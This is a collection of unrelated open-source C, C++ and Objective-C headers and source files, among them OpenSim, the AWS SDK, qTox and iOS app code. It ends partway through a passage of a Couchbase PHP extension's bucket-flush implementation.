//
#import <UIKit/UIKit.h>
@class WJFrameAuthor,WJAuthor;
@interface WJAuthorView : UIView
//@property(nonatomic,strong)WJAuthor *author;
@property(nonatomic,strong)WJFrameAuthor *authorFrame;
@end
|
//
// AddHomeViewController.h
// AirTouch
//
// Created by kenny on 15/8/12.
// Copyright (c) 2015年 Honeywell. All rights reserved.
//
#import "BaseViewController.h"
#import "IContainerViewControllerDelegate.h"
@interface AddHomeViewController : BaseViewController
@property (nonatomic, weak) id<IContainerViewControllerDelegate> delegate;
@end
|
#ifndef __PropertyGroup_h__
#define __PropertyGroup_h__
/* -------------------------------------------------------------------------- *
* OpenSim: PropertyGroup.h *
* -------------------------------------------------------------------------- *
* The OpenSim API is a toolkit for musculoskeletal modeling and simulation. *
* See http://opensim.stanford.edu and the NOTICE file for more information. *
* OpenSim is developed at Stanford University and supported by the US *
* National Institutes of Health (U54 GM072970, R24 HD065690) and by DARPA *
* through the Warrior Web program. *
* *
* Copyright (c) 2005-2017 Stanford University and the Authors *
* Author(s): Peter Loan *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); you may *
* not use this file except in compliance with the License. You may obtain a *
* copy of the License at http://www.apache.org/licenses/LICENSE-2.0. *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. *
* See the License for the specific language governing permissions and *
* limitations under the License. *
* -------------------------------------------------------------------------- */
#ifdef _WIN32
#pragma warning( disable : 4251 )
#endif
// INCLUDE
#include "osimCommonDLL.h"
#include "Property_Deprecated.h"
#include "Array.h"
namespace OpenSim {
#ifdef SWIG
#ifdef OSIMCOMMON_API
#undef OSIMCOMMON_API
#define OSIMCOMMON_API
#endif
#endif
//=============================================================================
//=============================================================================
/**
* A class implementing a property group.
*
* @author Peter Loan
* @version 1.0
*/
class OSIMCOMMON_API PropertyGroup
{
//=============================================================================
// DATA
//=============================================================================
private:
/** Name of the group. */
std::string _name;
protected:
/** Pointers to the properties in the group. */
Array<Property_Deprecated*> _properties;
//=============================================================================
// METHODS
//=============================================================================
//--------------------------------------------------------------------------
// CONSTRUCTION
//--------------------------------------------------------------------------
public:
PropertyGroup();
PropertyGroup(std::string& aName);
PropertyGroup(const PropertyGroup &aGroup);
virtual ~PropertyGroup();
virtual PropertyGroup* clone() const;
#ifndef SWIG
PropertyGroup& operator=(const PropertyGroup &aGroup);
bool operator<(const PropertyGroup &aGroup) const;
bool operator==(const PropertyGroup& aGroup) const;
#endif
void copyData(const PropertyGroup &aGroup);
void clear();
bool contains(const std::string& aName) const;
void add(Property_Deprecated* aProperty);
void remove(Property_Deprecated* aProperty);
#ifndef SWIG
const Array<Property_Deprecated*>& getProperties() const { return _properties; }
#endif
Property_Deprecated* get(int aIndex);
int getPropertyIndex(Property_Deprecated* aProperty) const;
// NAME
void setName(const std::string &aName) { _name = aName; }
const std::string& getName() const { return _name; }
private:
void setNull();
//=============================================================================
}; // END of class PropertyGroup
//=============================================================================
//=============================================================================
} // end of namespace OpenSim
#endif // __PropertyGroup_h__
|
/*
* Copyright 2010-2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
#pragma once
#include <aws/codecommit/CodeCommit_EXPORTS.h>
#include <aws/codecommit/CodeCommitRequest.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <utility>
namespace Aws
{
namespace CodeCommit
{
namespace Model
{
/**
*/
class AWS_CODECOMMIT_API ListTagsForResourceRequest : public CodeCommitRequest
{
public:
ListTagsForResourceRequest();
// Service request name is the Operation name which will send this request out,
// each operation should has unique request name, so that we can get operation's name from this request.
// Note: this is not true for response, multiple operations may have the same response name,
// so we can not get operation's name from response.
inline virtual const char* GetServiceRequestName() const override { return "ListTagsForResource"; }
Aws::String SerializePayload() const override;
Aws::Http::HeaderValueCollection GetRequestSpecificHeaders() const override;
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline const Aws::String& GetResourceArn() const{ return m_resourceArn; }
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline bool ResourceArnHasBeenSet() const { return m_resourceArnHasBeenSet; }
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline void SetResourceArn(const Aws::String& value) { m_resourceArnHasBeenSet = true; m_resourceArn = value; }
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline void SetResourceArn(Aws::String&& value) { m_resourceArnHasBeenSet = true; m_resourceArn = std::move(value); }
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline void SetResourceArn(const char* value) { m_resourceArnHasBeenSet = true; m_resourceArn.assign(value); }
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline ListTagsForResourceRequest& WithResourceArn(const Aws::String& value) { SetResourceArn(value); return *this;}
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline ListTagsForResourceRequest& WithResourceArn(Aws::String&& value) { SetResourceArn(std::move(value)); return *this;}
/**
* <p>The Amazon Resource Name (ARN) of the resource for which you want to get
* information about tags, if any.</p>
*/
inline ListTagsForResourceRequest& WithResourceArn(const char* value) { SetResourceArn(value); return *this;}
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline const Aws::String& GetNextToken() const{ return m_nextToken; }
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline bool NextTokenHasBeenSet() const { return m_nextTokenHasBeenSet; }
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline void SetNextToken(const Aws::String& value) { m_nextTokenHasBeenSet = true; m_nextToken = value; }
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline void SetNextToken(Aws::String&& value) { m_nextTokenHasBeenSet = true; m_nextToken = std::move(value); }
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline void SetNextToken(const char* value) { m_nextTokenHasBeenSet = true; m_nextToken.assign(value); }
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline ListTagsForResourceRequest& WithNextToken(const Aws::String& value) { SetNextToken(value); return *this;}
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline ListTagsForResourceRequest& WithNextToken(Aws::String&& value) { SetNextToken(std::move(value)); return *this;}
/**
* <p>An enumeration token that, when provided in a request, returns the next batch
* of the results.</p>
*/
inline ListTagsForResourceRequest& WithNextToken(const char* value) { SetNextToken(value); return *this;}
private:
Aws::String m_resourceArn;
bool m_resourceArnHasBeenSet;
Aws::String m_nextToken;
bool m_nextTokenHasBeenSet;
};
} // namespace Model
} // namespace CodeCommit
} // namespace Aws
|
#ifndef AXISCOLORSTRUCT_H
#define AXISCOLORSTRUCT_H
struct axisColorStruct
{
public :
double XAxiscolor[3];
double YAxiscolor[3];
double ZAxiscolor[3];
bool complementaryColor;
bool sameColor;
};
#endif // AXISCOLORSTRUCT_H
|
////////////////////////////////////////////////////////////////////////////
// Module : script_value_container_impl.h
// Created : 16.07.2004
// Modified : 16.07.2004
// Author : Dmitriy Iassenev
// Description : Script value container
////////////////////////////////////////////////////////////////////////////
#pragma once
#include "object_broker.h"
#ifdef XRSE_FACTORY_EXPORTS
#include "script_value.h"
#endif
IC CScriptValueContainer::~CScriptValueContainer() { clear(); }
IC void CScriptValueContainer::add(CScriptValue* new_value) {
#ifdef XRSE_FACTORY_EXPORTS
CScriptValue* value = 0;
xr_vector<CScriptValue*>::const_iterator I = m_values.begin();
xr_vector<CScriptValue*>::const_iterator E = m_values.end();
for (; I != E; ++I)
if (!xr_strcmp((*I)->name(), new_value->name())) {
value = *I;
break;
}
if (value)
return;
m_values.push_back(new_value);
#endif
}
IC void CScriptValueContainer::assign() {
#ifdef XRSE_FACTORY_EXPORTS
xr_vector<CScriptValue*>::iterator I = m_values.begin();
xr_vector<CScriptValue*>::iterator E = m_values.end();
for (; I != E; ++I)
(*I)->assign();
#endif
}
IC void CScriptValueContainer::clear() { delete_data(m_values); }
|
/*
* File: IAS-LangMod-SysMon/src/lang/mod/monitor/sys/mem/ModuleProxy.h
*
* Copyright (C) 2015, Albert Krzymowski
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef _IAS_Lang_MOD_Monitor_SYS_MEM_ModuleProxy_H_
#define _IAS_Lang_MOD_Monitor_SYS_MEM_ModuleProxy_H_
#include <lang/interpreter/extern/ModuleProxy.h>
namespace IAS {
namespace Lang {
namespace MOD {
namespace Monitor{
namespace SYS {
namespace MEM {
/*************************************************************************/
/** The ModuleProxy class.
*
*/
class ModuleProxy : public ::IAS::Lang::Interpreter::Extern::ModuleProxy {
public:
virtual ~ModuleProxy() throw();
static ModuleProxy* Create();
protected:
ModuleProxy();
virtual void setupImpl();
virtual void cleanUpImpl();
friend class ::IAS::Factory<ModuleProxy>;
};
/*************************************************************************/
}
}
}
}
}
}
/*************************************************************************/
extern "C"{
void* ias_lang_mod_monitor_sys_mem_proxy();
}
/*************************************************************************/
#endif /* _IAS_Lang_MOD_Monitor_SYS_MEM_ModuleProxy_H_ */
|
#ifndef CELLO_SIMULATION_H
#define CELLO_SIMULATION_H
#include <algorithm>
#include <stdexcept>
#include <map>
#include <memory>
#include <queue>
#include <string>
#include <vector>
#include <gameplay.h>
#include <core/Delegate.h>
#include <core/SimulationTypes.h>
#include <json/json.h>
#include <ui/Atlas.h>
#include <util/Util.h>
using std::map;
using std::queue;
using std::runtime_error;
using std::string;
using std::vector;
using gameplay::PhysicsController;
namespace cello
{
class Component;
class ComponentFactory;
class Simulation : NonCopyable
{
public:
/**
* The reserved ID for the System entity
*/
static const EntityID SYSTEM_ENTITY_ID = 0;
/**
* The reserved ID to represent an invalid entity
*/
static const EntityID INVALID_ENTITY_ID = -1;
explicit Simulation(Atlas* atlas);
virtual ~Simulation();
Atlas* getAtlas() const { return _atlas; }
/**
* Get a reference to a component of the specified entity and component type.
* Returns nullptr if the component or the entity is not found
*/
template<class ComponentClass>
ComponentClass* getComponent(int entityID) const
{
ComponentType componentType = ComponentClass::getType();
auto entityMapIt = _entityMap.find(entityID);
if (_entityMap.end() == entityMapIt)
{
return nullptr;
}
ComponentTypeMap& componentTypeMap = *(entityMapIt->second);
auto componentTypeMapIt = componentTypeMap.find(componentType);
if (componentTypeMap.end() == componentTypeMapIt)
{
return nullptr;
}
return static_cast<ComponentClass*>(componentTypeMapIt->second);
}
/*
* Returns a list of all components of the specified type
*/
template<class ComponentClass>
ComponentList* getComponentsOfType()
{
ComponentType componentType = ComponentClass::getType();
// If no components of the required type currently exist, a new list
// will be created and returned
return &_componentMap[componentType];
}
bool isLevelLoaded() const { return _levelLoaded; }
void loadLevel(string levelFile, Json::Value levelData);
Json::Value saveLevel();
string getLevelFile() const { return _levelFile; }
string getLevelName() const { return _levelName; }
string getScriptName() const { return _scriptName; }
void init();
ComponentTypeMap* getComponentTypeMap(EntityID entity);
EntityID spawnEntity(string templateName);
/**
* Queue an entity for destruction. The entity and it's components are removed from
* the simulation but the components still exist in memory to allow other
* components/systems time to remove references to them
*/
void killEntity(EntityID entity);
/**
* Kill entity and immediately destroy it.
*/
void destroyEntity(EntityID entity);
Delegate<EntityID>& onEntityCreated() { return _entityCreatedDelegate; }
Delegate<EntityID>& onEntityKilled() { return _entityKilledDelegate; }
private:
bool _levelLoaded;
string _levelFile;
string _levelName;
string _scriptName;
/**
* The value at which automatic ID generation starts
*/
static const EntityID START_ENTITY_ID = 100;
/**
* Get the next available unique ID to assign to the next created entity
*/
inline EntityID getNextEntityID() { return _nextEntityID++; }
int _nextEntityID;
static const string INHERIT_KEY;
static const string LOAD_EXTERNAL_KEY;
static const string ENTITY_ID_KEY;
static const string ENTITIES_LIST_KEY;
static const string GAME_STATE_KEY;
static const string TEMPLATE_FILE_EXTENSION;
void deserializeComponent(Component* component, Json::Value& componentData);
Json::Value serializeComponent(Component* component, Json::Value& parentComponentData, bool copyAll);
/**
* Construct an empty entity from data and returns the Entity ID
*/
EntityID constructEntity(Json::Value entityData);
/**
* Construct a component from data, adds it to the specified entity and returns a reference to it
*/
void constructComponent(EntityID entityID, string componentTypeStr, Json::Value componentData);
Json::Value preprocessEntityData(Json::Value entityData);
Json::Value preprocessComponentData(Json::Value entityData);
Json::Value getExternalData(string filename);
/**
* Add a component to an entity
*/
void addComponent(EntityID entityID, ComponentType componentType, Component* component);
/**
* Remove a component from an entity
*/
void removeComponent(EntityID entityID, ComponentType);
/**
* For every entity there is a map of ComponentType=>Component
*/
map<EntityID, ComponentTypeMap*> _entityMap;
/**
* Stores the list of entities to be destroyed at the end of a turn.
* Entities cannot be destroyed mid-turn
*/
map<EntityID, ComponentTypeMap*> _killedEntityMap;
/**
* Stores a list of components for every component type
*/
map<ComponentType, ComponentList> _componentMap;
/**
* Delete the components of the entities in the map
*/
void destroyEntities(map<EntityID, ComponentTypeMap*>& entityMap);
void destroyComponentTypeMap(ComponentTypeMap* componentTypeMap);
/**
* Stores the original template the entity was loaded from. This will
* enable us to generate smaller save files
*/
map<EntityID, string> _entityTemplateMap;
ComponentFactory* _componentFactory;
Atlas* _atlas;
Delegate<EntityID> _entityCreatedDelegate;
Delegate<EntityID> _entityKilledDelegate;
};
}
#endif
|
//
// Client+Extensions.h
//
// MobileTech Conference 2014
// Copyright (c) 2014 Ivo Wessel. All rights reserved.
// Fragen zum Quellcode? Unterstützung bei iOS-Projekten? Melden Sie sich bei mir...
//
// Ivo Wessel
// Lehrter Str. 57, Haus 2
// D-10557 Berlin
// Phone : +49-(0)30-89 62 64 77
// Mobile: +49-(0)177-4 86 93 77
// Skype : ivo.wessel
// E-Mail: [email protected]
// Web : www.we-make-apps.com
//
// -------------------------------------------------------------------------------------------------
@interface UIColor (Extensions)
// -------------------------------------------------------------------------------------------------
- (float) red;
- (float) green;
- (float) blue;
- (float) alpha;
- (NSString *) cacheKey;
+ (UIColor *) randomColor;
+ (UIColor *) colorWithRed:(int) nRed
green:(int) nGreen
blue:(int) nBlue;
// -------------------------------------------------------------------------------------------------
@end
|
//
// nOpenWeb.h
// janbin
//
// Created by katobit on 10/25/2556 BE.
// Copyright (c) 2556 Kittipong Kulapruk. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface nOpenWeb_iphone : UIViewController<UIWebViewDelegate>
{
NSString *urlMain;
NSString *type;
NSString *link;
}
@property (strong, nonatomic) NSString *urlMain;
@property (strong, nonatomic) NSString *type;
@property (strong, nonatomic) NSString *link;
@property (strong, nonatomic) IBOutlet UIWebView *webMain;
@end
|
/*
Copyright (c) 2013 Microsoft Corporation. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Author: Leonardo de Moura
*/
#pragma once
#include <memory>
#include "kernel/expr.h"
namespace lean {
/**
\brief Functional object for creating expressions with maximally
shared sub-expressions.
*/
class max_sharing_fn {
struct imp;
friend expr max_sharing(expr const & a);
std::unique_ptr<imp> m_ptr;
public:
max_sharing_fn();
~max_sharing_fn();
expr operator()(expr const & a);
/**
\brief Clear the cache.
*/
void clear();
};
/**
\brief The resultant expression is structurally identical to the input one, but
it uses maximally shared sub-expressions.
*/
expr max_sharing(expr const & a);
}
|
/*
* Software License Agreement (Apache License)
*
* Copyright (c) 2014, Southwest Research Institute
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef ROBOT_KINEMATICS_H_
#define ROBOT_KINEMATICS_H_
// TODO: The include below picks up Eigen::Isometry3d, but there is probably a better way
#include <moveit/kinematic_constraints/kinematic_constraint.h>
#include "descartes_core/utils.h"
namespace descartes_core
{
DESCARTES_CLASS_FORWARD(RobotModel);
/**@brief RobotModel defines the interface to a kinematics/dynamics functions. Implementations
* of this class will be used in conjunction with TrajectoryPt objects to determine forward
* and inverse kinematics
*
* All methods in this interface class assume a *FIXED* TOOL & WOBJ frame (see TrajectoryPt
* for frame definitions). The methods for setting/getting these frames are not defined by
* this class. Implementations of this interface should provide these either by construction
* or getter/setter methods.
*/
class RobotModel
{
public:
virtual ~RobotModel()
{
}
/**
* @brief Returns the joint pose closest to the seed pose for a desired affine pose
* @param pose Affine pose of TOOL in WOBJ frame
* @param seed_state Joint position seed (returned solution is "close" to the seed).
* @param joint_pose Solution (if function successful).
* @return True if successful
*/
virtual bool getIK(const Eigen::Isometry3d &pose, const std::vector<double> &seed_state,
std::vector<double> &joint_pose) const = 0;
/**
* @brief Returns "all" the joint poses("distributed" in joint space) for a desired affine pose.
* "All" is determined by each implementation (In the worst case, this means at least getIK).
* "Distributed" is determined by each implementation.
* @param pose Affine pose of TOOL in WOBJ frame
* @param joint_poses Solution (if function successful).
* @return True if successful
*/
virtual bool getAllIK(const Eigen::Isometry3d &pose, std::vector<std::vector<double> > &joint_poses) const = 0;
/**
* @brief Returns the affine pose
* @param joint_pose Solution (if function successful).
* @param pose Affine pose of TOOL in WOBJ frame
* @return True if successful
*/
virtual bool getFK(const std::vector<double> &joint_pose, Eigen::Isometry3d &pose) const = 0;
/**
* @brief Returns number of DOFs
* @return Int
*/
virtual int getDOF() const = 0;
/**
* @brief Performs all necessary checks to determine joint pose is valid
* @param joint_pose Pose to check
* @return True if valid
*/
virtual bool isValid(const std::vector<double> &joint_pose) const = 0;
/**
* @brief Performs all necessary checks to determine affine pose is valid
* @param pose Affine pose of TOOL in WOBJ frame
* @return True if valid
*/
virtual bool isValid(const Eigen::Isometry3d &pose) const = 0;
/**
* @brief Returns the joint velocity limits for each joint in the robot kinematic model
* @return Sequence of joint velocity limits. Units are a function of the joint type (m/s
* for linear joints; rad/s for rotational). size of vector == getDOF()
*/
virtual std::vector<double> getJointVelocityLimits() const = 0;
/**
* @brief Initializes the robot model when it is instantiated as a moveit_core plugin.
* @param robot_description name of the ros parameter containing the urdf description
* @param group_name the manipulation group for all the robot links that are part of the same kinematic chain
* @param world_frame name of the root link in the urdf
* @param tcp_frame tool link attached to the robot. When it's not in 'group_name' then it should have
* a fixed location relative to the last link in 'group_name'.
*/
virtual bool initialize(const std::string &robot_description, const std::string &group_name,
const std::string &world_frame, const std::string &tcp_frame) = 0;
/**
* @brief Enables collision checks
* @param check_collisions enables or disables collisions
*/
virtual void setCheckCollisions(bool check_collisions)
{
check_collisions_ = check_collisions;
}
/**
* @brief Indicates if collision checks are enabled
* @return Bool
*/
virtual bool getCheckCollisions()
{
return check_collisions_;
}
/**
* @brief Performs necessary checks to see if the robot is capable of moving from the initial joint pose
* to the final pose in dt seconds
* @param from_joint_pose [description]
* @param to_joint_pose [description]
* @param dt [description]
* @return [description]
*/
virtual bool isValidMove(const std::vector<double> &from_joint_pose, const std::vector<double> &to_joint_pose,
double dt) const
{
return isValidMove(from_joint_pose.data(), to_joint_pose.data(), dt);
}
virtual bool isValidMove(const double* s, const double* f, double dt) const = 0;
protected:
RobotModel() : check_collisions_(false)
{
}
bool check_collisions_;
};
} // descartes_core
#endif /* ROBOT_KINEMATICS_H_ */
|
char *my_strcpy(char *dest, char *src)
{
char *adrr;
for (adrr = dest; *src; *dest++ = *src++);
*dest++ = '\0';
return (adrr);
}
|
//*********************************************************
//
// Copyright (c) Microsoft. All rights reserved.
// THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF
// ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY
// IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR
// PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT.
//
//*********************************************************
//
// pch.h
// Header for standard system include files.
//
#pragma once
#include <msxml6.h>
#include <collection.h>
#include <ppltasks.h>
#include <wrl.h>
#include "Common\SuspensionManager.h"
#include "App.xaml.h"
#include <sstream>
|
/*
*
* (C) Copyright IBM Corp. and others 1998-2013 - All Rights Reserved
*
*/
#ifndef __SUBTABLEPROCESSOR2_H
#define __SUBTABLEPROCESSOR2_H
/**
* \file
* \internal
*/
#include "LETypes.h"
#include "MorphTables.h"
U_NAMESPACE_BEGIN
class LEGlyphStorage;
class SubtableProcessor2 : public UMemory {
public:
virtual void process(LEGlyphStorage &glyphStorage) = 0;
virtual ~SubtableProcessor2();
protected:
SubtableProcessor2(const MorphSubtableHeader2 *morphSubtableHeader);
SubtableProcessor2();
le_uint32 length;
SubtableCoverage2 coverage;
FeatureFlags subtableFeatures;
const MorphSubtableHeader2 *subtableHeader;
private:
SubtableProcessor2(const SubtableProcessor2 &other); // forbid copying of this class
SubtableProcessor2 &operator=(const SubtableProcessor2 &other); // forbid copying of this class
};
U_NAMESPACE_END
#endif
|
/*
Copyright 2013 KLab Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef CKLBUIDebugItem_h
#define CKLBUIDebugItem_h
#include "CKLBUITask.h"
#include "CKLBNodeVirtualDocument.h"
/*!
* \class CKLBUIDebugItem
* \brief Debug Item Task Class
*
* CKLBUIDebugItem allows to display debug purpose items in the Game.
* A few properties (such as text, color, etc.) can be modified in runtime
* and used for debugging.
*/
class CKLBUIDebugItem : public CKLBUITask
{
friend class CKLBTaskFactory<CKLBUIDebugItem>;
private:
CKLBUIDebugItem();
virtual ~CKLBUIDebugItem();
bool init(CKLBUITask* pParent, CKLBNode* pNode, u32 order, float x, float y, u32 alpha, u32 color, const char* font, u32 size, const char* text, const char* callback,u32 id);
bool initCore(u32 order, float x, float y, u32 alpha, u32 color, const char* font, u32 size, const char* text, const char* callback,u32 id);
public:
static CKLBUIDebugItem* create(CKLBUITask* pParent, CKLBNode* pNode, u32 order, float x, float y, u32 alpha, u32 color, const char* font, u32 size, const char* text, const char* callback,u32 id);
u32 getClassID ();
bool initUI (CLuaState& lua);
void execute (u32 deltaT);
void dieUI ();
inline virtual void setOrder (u32 order) { m_order = order; m_update = true; }
inline virtual u32 getOrder () { return m_order; }
inline void setAlpha (u32 alpha) { m_alpha = alpha; m_update = true; }
inline u32 getAlpha () { return m_alpha; }
inline void setU24Color (u32 color) { m_color = color; m_update = true; }
inline u32 getU24Color () { return m_color; }
inline void setColor (u32 color) { m_alpha = color >> 24; m_color = color & 0xFFFFFF; m_update = true; }
inline u32 getColor () { return (m_alpha << 24) | m_color; }
inline void setFont (const char* font) { setStrC(m_font, font); m_update = true; }
inline const char* getFont () { return m_font; }
inline void setSize (u32 size) { m_size = size; m_update = true; }
inline u32 getSize () { return m_size; }
inline void setText (const char* text) { setStrC(m_text, text); m_update = true; }
inline const char* getText () { return m_text; }
private:
u32 m_order;
u8 m_format;
u8 m_alpha;
u32 m_color;
const char* m_font;
const char* m_text;
u32 m_size;
bool setup_node();
// 現在は VDocで仮実装しておく。
CKLBNodeVirtualDocument * m_pLabel;
bool m_update;
STextInfo m_txinfo;
const char * m_callback;
int m_ID;
int m_padId;
static PROP_V2 ms_propItems[];
};
#endif // CKLBUIDebugItem_h
|
/*
Copyright (C) 2014 by Project Tox <https://tox.im>
This file is part of qTox, a Qt-based graphical interface for Tox.
This program is libre software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
See the COPYING file for more details.
*/
#ifndef GROUPCHATFORM_H
#define GROUPCHATFORM_H
#include <QLabel>
#include <QWidget>
#include <QVBoxLayout>
#include <QHBoxLayout>
#include <QGridLayout>
#include <QTextEdit>
#include <QScrollArea>
#include <QTime>
#include "widget/tool/chattextedit.h"
#include "ui_widget.h"
// Spacing in px inserted when the author of the last message changes
#define AUTHOR_CHANGE_SPACING 5
class Group;
class GroupChatForm : public QObject
{
Q_OBJECT
public:
GroupChatForm(Group* chatGroup);
~GroupChatForm();
void show(Ui::Widget& ui);
void setName(QString newName);
void addGroupMessage(QString message, int peerId);
void addMessage(QString author, QString message, QString date=QTime::currentTime().toString("hh:mm"));
void addMessage(QLabel* author, QLabel* message, QLabel* date);
void onUserListChanged();
signals:
void sendMessage(int, QString);
private slots:
void onSendTriggered();
void onSliderRangeChanged();
void onChatContextMenuRequested(QPoint pos);
void onSaveLogClicked();
private:
Group* group;
QHBoxLayout *headLayout, *mainFootLayout;
QVBoxLayout *headTextLayout, *mainLayout;
QGridLayout *mainChatLayout;
QLabel *avatar, *name, *nusers, *namesList;
ChatTextEdit *msgEdit;
QPushButton *sendButton;
QScrollArea *chatArea;
QWidget *main, *head, *chatAreaWidget;
QString previousName;
int curRow;
bool lockSliderToBottom;
};
#endif // GROUPCHATFORM_H
|
/*
+----------------------------------------------------------------------+
| PHP Version 5 |
+----------------------------------------------------------------------+
| Copyright 2012 Couchbase, Inc. |
+----------------------------------------------------------------------+
| Licensed under the Apache License, Version 2.0 (the "License"); |
| you may not use this file except in compliance with the License. |
| You may obtain a copy of the License at |
| http://www.apache.org/licenses/LICENSE-2.0 |
| Unless required by applicable law or agreed to in writing, software |
| distributed under the License is distributed on an "AS IS" BASIS, |
| WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or |
| implied. See the License for the specific language governing |
| permissions and limitations under the License. |
+----------------------------------------------------------------------+
*/
#include "internal.h"
/* @todo This is a copy of the logic used by the cluster management
* I should refactor this out so I have a generic http execution
* method.
*/
struct flush_ctx {
lcb_error_t error;
lcb_http_status_t status;
char *payload;
};
static void rest_flush_callback(lcb_http_request_t request,
lcb_t instance,
const void *cookie,
lcb_error_t error,
const lcb_http_resp_t *resp)
{
struct flush_ctx *ctx = (void *)cookie;
assert(cookie != NULL);
ctx->error = error;
ctx->payload = NULL;
if (resp->version != 0) {
/* @todo add an error code I may use */
ctx->error = LCB_NOT_SUPPORTED;
} else {
ctx->status = resp->v.v0.status;
if (resp->v.v0.nbytes != 0) {
ctx->payload = emalloc(resp->v.v0.nbytes + 1);
if (ctx->payload != NULL) {
memcpy(ctx->payload, resp->v.v0.bytes, resp->v.v0.nbytes);
ctx->payload[resp->v.v0.nbytes] = '\0';
}
}
}
}
static void do_rest_flush(INTERNAL_FUNCTION_PARAMETERS,
int oo,
php_couchbase_res *res)
{
struct flush_ctx ctx;
lcb_error_t rc;
lcb_http_cmd_t cmd;
lcb_t instance;
char *path;
lcb_http_complete_callback old;
instance = res->handle;
path = ecalloc(strlen(res->bucket) + 80, 1);
sprintf(path, "/pools/default/buckets/%s/controller/doFlush",
res->bucket);
memset(&ctx, 0, sizeof(ctx));
memset(&cmd, 0, sizeof(cmd));
cmd.v.v0.path = path;
cmd.v.v0.npath = strlen(path);
cmd.v.v0.method = LCB_HTTP_METHOD_POST;
cmd.v.v0.content_type = "application/x-www-form-urlencoded";
old = lcb_set_http_complete_callback(instance, rest_flush_callback);
rc = lcb_make_http_request(instance, &ctx, LCB_HTTP_TYPE_MANAGEMENT,
&cmd, NULL);
old = lcb_set_http_complete_callback(instance, old);
efree(path);
if (rc == LCB_SUCCESS) {
rc = ctx.error;
}
res->rc = rc;
if (rc != LCB_SUCCESS) {
/* An error occured occurred on libcouchbase level */
if (ctx.payload) {
efree(ctx.payload);
}
couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo,
cb_lcb_exception, "Failed to flush bucket: %s",
lcb_strerror(instance, rc));
return;
}
switch (ctx.status) {
case LCB_HTTP_STATUS_OK:
case LCB_HTTP_STATUS_ACCEPTED:
efree(ctx.payload);
RETURN_TRUE;
case LCB_HTTP_STATUS_UNAUTHORIZED:
couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo,
cb_auth_exception, "Incorrect credentials");
break;
default:
if (ctx.payload == NULL) {
couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo,
cb_server_exception,
"{\"errors\":{\"http response\": %d }}",
(int)ctx.status);
} else {
couchbase_report_error(INTERNAL_FUNCTION_PARAM_PASSTHRU, oo,
cb_server_exception,
ctx.payload);
}
}
if (ctx.payload != NULL) {
efree(ctx.payload);
}
}
static void memcached_flush_callback(lcb_t handle,
const void *cookie,
lcb_error_t error,
const lcb_flush_resp_t *resp)
{
if (error != LCB_SUCCESS) {
*((lcb_error_t *)cookie) = error;
}
}
static void do_memcached_flush(INTERNAL_FUNCTION_PARAMETERS,
int oo,
